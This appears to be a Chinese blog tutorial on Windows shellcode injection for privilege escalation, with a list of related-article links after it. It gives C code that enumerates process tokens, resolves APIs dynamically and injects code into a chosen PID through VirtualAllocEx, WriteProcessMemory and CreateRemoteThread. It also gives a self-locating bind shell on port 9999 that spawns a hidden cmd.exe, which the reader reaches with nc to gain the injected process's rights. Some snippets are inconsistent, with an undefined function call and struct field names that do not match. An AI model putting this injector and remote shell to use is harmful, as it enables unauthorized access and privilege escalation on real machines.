如果将shellcode注入到具有特定权限的进程中,我们就可以获得与该进程相同的权限,此方法可以用于提权与降权操作,注入有多种方式,最简单的是直接将metasploit生成的有效载荷直接注入到目标进程中,并通过创建远程线程启动,还可以自己实现一个注入器,这里我们自己来实现一个提权器,可提权也可降权。

枚举系统进程,与进程权限令牌等。

#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>// 通过进程Token获取进程权限类型
void __stdcall EnumOwner(HANDLE htoken)
{DWORD dwLen;PSID pSid = 0;TOKEN_USER *pWork;SID_NAME_USE use;TCHAR User[256], Domain[256];GetTokenInformation(htoken, TokenUser, NULL, 0, &dwLen);pWork = (TOKEN_USER *)LocalAlloc(LMEM_ZEROINIT, dwLen);if (GetTokenInformation(htoken, TokenUser, pWork, dwLen, &dwLen)){dwLen = GetLengthSid(pWork->User.Sid);pSid = (PSID)LocalAlloc(LMEM_ZEROINIT, dwLen);CopySid(dwLen, pSid, pWork->User.Sid);dwLen = 256;LookupAccountSid(NULL, pSid, &User[0], &dwLen, &Domain[0], &dwLen, &use);printf("\t 权限类型 => %s : %s ", Domain, User);}
}// 枚举系统中进程的令牌权限信息
int enumprocess()
{HANDLE SnapShot, ProcessHandle, hToken;PROCESSENTRY32 pe32;// 拍摄快照SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);pe32.dwSize = sizeof(PROCESSENTRY32);if (Process32First(SnapShot, &pe32) == FALSE)return 0;while (1){if (Process32Next(SnapShot, &pe32) == FALSE)return 0;printf("PID => %6i \t 进程名 => %-20s \t 线程数 => %3i", pe32.th32ProcessID, pe32.szExeFile, pe32.cntThreads);// 获取特定进程权限等ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pe32.th32ProcessID);if (ProcessHandle != NULL){if (OpenProcessToken(ProcessHandle, TOKEN_QUERY, &hToken)){EnumOwner(hToken);CloseHandle(hToken);CloseHandle(ProcessHandle);}}printf("\n");}return 1;
}int main(int argc, char * argv[])
{ExtractProcessTokens();system("pause");return 0;
}

枚举线程权限类型

// 枚举特定进程中线程的Token值
int enumtoken(DWORD dwPID)
{HANDLE hThreadSnap = INVALID_HANDLE_VALUE;THREADENTRY32 te32;if ((hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)) != INVALID_HANDLE_VALUE){te32.dwSize = sizeof(THREADENTRY32);if (Thread32First(hThreadSnap, &te32)){do{HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, te32.th32ThreadID);if (hThread != NULL){HANDLE hToken;OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hToken);EnumOwner(hToken);CloseHandle(hToken);}} while (Thread32Next(hThreadSnap, &te32));}}return TRUE;
}

手工获取函数地址 第一步,手动获取到kernel32.dll地址,与GetProcaddress地址,然后就可以动态获取到任意函数的地址,先定义数据结构

typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE KernelHandle;char kernelstring[20]; // kernel32.dllLOADLIBRARY KernelLoadLibrary;GETPROCADDRESS KernelGetProcAddress;// 针对User32的操作HANDLE UserHandle;char userstring[20];   // user32.dll
}ShellParametros;

然后,主函数获取地址,并写入全局结构体。

int main(int argc, char * argv[])
{ShellParametros Param;// 得到加载基地址的工具函数Param.KernelHandle = LoadLibrary("kernel32.dll");Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");printf("获取到Kernel32.dll = %x", Param.KernelHandle);// 分别获取Kernel32与User32的对应字符串strcpy(Param.kernelstring, "kernel32.dll");strcpy(Param.userstring, "user32.dll");system("pause");return 0;
}

查询弹窗定义。

WINUSERAPI
int
WINAPI
MessageBoxA(_In_opt_ HWND hWnd,_In_opt_ LPCSTR lpText,_In_opt_ LPCSTR lpCaption,_In_ UINT uType);

头部声明

// Kernel32 调用约定定义
typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);// User32调用约定定义
typedef int(WINAPI *MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

获取地址,并转为MESSAGEBOX指针。

void __stdcall MyShell(ShellParametros *ptr)
{ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);ptr->UserHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->userstring);printf("动态获取到Kernel32基地址 = %x \n", ptr->KernelHandle);printf("动态获取到User32基地址 = %x \n", ptr->UserHandle);MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");printf("%x \n", msgbox);msgbox(0, 0, 0, 0);
}

调用

注入目标进程,需要获得字符串,该字符串要存储到内存中,修改.

MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE KernelHandle;char kernelstring[20]; // kernel32.dllLOADLIBRARY KernelLoadLibrary;GETPROCADDRESS KernelGetProcAddress;// 针对User32的操作HANDLE UserHandle;char userstring[20];   // user32.dllchar msgbox[20];}ShellParametros;MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, ptr->msgbox);

将代码注入到目标进程中,弹窗提示一下,开辟远程线程。

int main(int argc, char * argv[])
{ShellParametros Param, *remote = NULL;HANDLE hProcess;void *p = NULL;// 得到加载基地址的工具函数Param.Kernel32Base = LoadLibrary("kernel32.dll");Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");// printf("获取到Kernel32.dll = %x", Param.KernelHandle);// 分别获取Kernel32与User32的对应字符串strcpy(Param.KernelString, "kernel32.dll");strcpy(Param.UserString, "user32.dll");strcpy(Param.User_MsgBox, "MessageBoxA");strcpy(Param.Text, "hello lyshark");// 根据PID注入代码到指定进程中hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 17508);p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);remote = (ShellParametros *)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall *)(void *)) p, remote, 0, 0);return 0;
}

实现CMDShell 以下代码可实现正向cmdshell,我们将其改进一下,让其支持动态获取地址。

#include <winsock2.h>
#define Port 9999
#pragma comment(lib,"ws2_32.lib")int main()
{SOCKET sSocket, cSocket;STARTUPINFO si;PROCESS_INFORMATION pi;WSADATA wsaData;sockaddr_in sSockaddr;char szCmdPath[MAX_PATH];GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH);WSAStartup(0x0202, &wsaData);cSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);sSockaddr.sin_addr.s_addr = INADDR_ANY;sSockaddr.sin_family = AF_INET;sSockaddr.sin_port = htons(Port);bind(cSocket, (sockaddr*)&sSockaddr, sizeof(sSockaddr));listen(cSocket, 1);int sLen = sizeof(sSockaddr);sSocket = accept(cSocket, (sockaddr*)&sSockaddr, &sLen);si.cb = sizeof(si);si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;si.hStdInput = (HANDLE)sSocket;si.hStdOutput = (HANDLE)sSocket;si.hStdError = (HANDLE)sSocket;CreateProcessA(NULL, szCmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);WaitForSingleObject(pi.hProcess, INFINITE);WSACleanup();return 0;
}

依次验证常用函数所在动态链接库,就调用了2个库,好,我们继续写。

上方的代码就是一个正向CMDshell,我们将其写成自定位代码即可,首先定义需要用得到的指针。

// 定义各种指针变量
typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE, LPCSTR);typedef int (WINAPI *BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI *ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI *LISTEN) (SOCKET, int);
typedef int (WINAPI *WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI *WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI *WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI * CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

main函数中向结构体中拷贝数据

memset((void *)&parametros, 0, sizeof(PARAMETROS));strncpy(parametros.cmd, "cmd", 2);parametros.port = htons((unsigned short)9999);// 获取到动态链接库加载函数地址parametros.KernelHandle = LoadLibrary("kernel32.dll");parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");// 拷贝 winsock 字符串strcpy(parametros.wsastring, "ws2_32.dll");strcpy(parametros.wsastartupstring, "WSAStartup");strcpy(parametros.WSASocketString, "WSASocketW");strcpy(parametros.WSAConnectstring, "WSAConnect");strcpy(parametros.bindstring, "bind");strcpy(parametros.acceptstring, "accept");strcpy(parametros.listenstring, "listen");// 拷贝 kernel32 字符串strcpy(parametros.kernelstring, "kernel32.dll");strcpy(parametros.CreateProcessstring, "CreateProcessA");

调用shell代码,代码先执行动态获取API地址,然后动态调用。

// 调用的远程Shell代码
void __stdcall MyShell(PARAMETROS *ptr)
{// 通过GetProcAddress获取到ws2.dll中的所有函数地址ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);// 通过GetProcAddress获取到kernel32.dll中的所有函数地址ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);ptr->ShellWsaStartup(0x101, &HWSAdata);s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);sa.sin_family = AF_INET;sa.sin_port = ptr->port;sa.sin_addr.s_addr = 0;ptr->ShellBind(s, (struct sockaddr *) &sa, 16);ptr->ShellListen(s, 1);while (1){n = ptr->ShellAccept(s, (struct sockaddr *)&sa, NULL);si.cb = sizeof(si);si.wShowWindow = SW_HIDE;si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;si.hStdInput = si.hStdOutput = si.hStdError = (void *)n;si.lpDesktop = si.lpTitle = (char *)0x0000;si.lpReserved2 = NULL;ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);}
}

最后,主函数开辟远程线程,即可完成权限提升,下载地址中包括32与64两个版本,不同版本对应不同位数。

首先使用注入器注入一个正在运行的进程,参数为PID

使用NC直接连接进去,即可获取到,与注入进程相同的权限,端口写死了9999

如果目标进程开启了,动态地址,ASLR,等则注入会失败,程序崩溃,这里需要注意一下。

C/C++ 进程代码注入与提权/降权相关推荐

  1. Linux 平台一种进程代码注入方法

    http://blog.csdn.net/occupy8/article/details/17056769 用于在目标程序的 main 函数执行前完成一些操作   特定情况下用来调试还是不错的. 源代 ...

  2. 【Android 逆向】Android 进程代码注入原理 ( 进程注入原理 | 远程调用流程 | 获取函数地址 | 设置 IP 寄存器 | mmap 申请内存 | 设置 SP 寄存器 )

    文章目录 一.进程注入原理 二.远程调用流程 ( 获取 so 动态库地址 | 获取函数地址 | 设置 IP 寄存器 | mmap 申请内存 | 设置 SP 寄存器 ) 一.进程注入原理 调试进程 At ...

  3. 【Android 逆向】Android 进程代码注入原理 ( 注入本质 | 静态注入和动态注入 | 静态注入两种方式 | 修改动态库重打包 | 修改 /data/app/xx/libs 动态库 )

    文章目录 一.注入本质 二.静态注入和动态注入 三.静态注入两种方式 ( 修改动态库重打包 | 修改 /data/app/packageName/libs/ 下的动态库 ) 一.注入本质 进程注入本质 ...

  4. 应用安全-提权/降权相关整理

    工具提权 https://github.com/SecWiki/linux-kernel-exploits 提权CVE https://github.com/nixawk/labs 操作系统提权-Wi ...

  5. 驱动保护进程 句柄降权 杀软自保 游戏破图标技术原理和实现

    文章目录 实现效果 实现原理 代码实现 实现效果 句柄降权对抗(实现破游戏图标和关闭杀软自保) 降权对抗延伸 游戏降权对抗 杀软自保对抗 隐藏Object钩子回调 完整代码 实现效果 效果如图所示: ...

  6. 渗透技巧——程序的降权启动

    本文讲的是渗透技巧--程序的降权启动, 0x00 前言 在渗透测试中,常常会遇到需要改变程序启动权限(分为提权和降权)的情况. 提权包含从普通用户权限到管理员权限和从管理员权限到system权限,而渗 ...

  7. 湖南网络推广浅谈网站首页降权怎么办?

    对于湖南网络推广的站长来说,提高网站排名是大家进行网站维护的最终目的,能有善始善终就很不错了,但在网站优化的过程中,就难免会出现网站首页降权的时候,那么对于首页降权了又该如何恢复呢?下面湖南网络推广就 ...

  8. 网站降权不必慌 扭转乾坤有绝招

    "一夜过后,网站排名全没了,天呐,这是怎么回事?" "昨天5个主关键词还排在第一页,今早突然没了?这是怎么了" "网站关键词没了,老板怒了,工作不保了 ...

  9. 网站降权根服务器有关系吗,实例讲述更换服务器后导致网站降权的解决方法

    8元一个月的服务器已经用了小半年了,实在经不住现在的流量冲击.因服务器问题,用户打开我的网站经常出现502错误,无奈只有更换服务器,由于服务器更换时没有处理好,导致网站被降权了.接下来的SEO干货来了 ...

最新文章

  1. vs2005什么时候能出正式版
  2. 推荐一个工作流自动化工具
  3. XOR Specia-LIS-t 异或和 贪心
  4. typora export to word is excellent
  5. swift - 根试图控制器的手势返回冲突 - push 新的tabbar控制器手势冲突
  6. java ee 下载 安装配置_JavaEE下载安装及配置.doc
  7. 感想篇:4)越来越精简的机械设计
  8. MySQL中实现并、交、差
  9. Atitit 数据存储的数据表连接attilax总结
  10. 探讨如何在有着1000万条数据的MS SQL SERVER数据库中实现快速的数据提取和数据分页...
  11. 还说治理类项目不性感?这个DAO上线半年吸金700万美元
  12. thinkadmin关联查询
  13. 学习CALCULATE函数(一)修订版
  14. 手机计算机隐藏,手机计算机自带的隐藏功能,我也是现在才知道,功能比你想得多...
  15. XTUOJ-1163-ASCII
  16. 跨境电商选品:如何判断产品市场容量?
  17. 如何改变pycharm的背景颜色
  18. 请问,电子产品中常用的12V转5V的DCDC电源芯片有哪些
  19. python 函数定义 编译_Cython编译的模块不允许访问函数定义的“module”而不是callab...
  20. video.js 视频截图、录制、自定义全屏,hls、flv、mp4视频播放

热门文章

  1. 【经典卷积神经网络CNN模型 之 VGG16Net】模型实验,强烈建议使用GPU来跑,经试验,若使用CPU,普通PC理论上需要超过100小时
  2. pytorch GPU分布式训练 单机单卡、单机多卡
  3. 全国计算机一级9月,9月全国计算机一级试题
  4. 芝加哥一公寓楼发生大火 致8人死亡
  5. AB级 考试高频词 1000个
  6. 混沌与秩序弓箭手游戏机生产厂家全属性技能解析
  7. 自动驾驶——软件和云服务介绍
  8. Python练习题答案: 海盗!是大炮准备好了!?【难度:0级】--景越Python编程实例训练营,1000道上机题等你来挑战
  9. 股指期货,你不能不知的一些事
  10. arduino 伸缩轨道_基于Arduino的多轨道Midi音序器的实现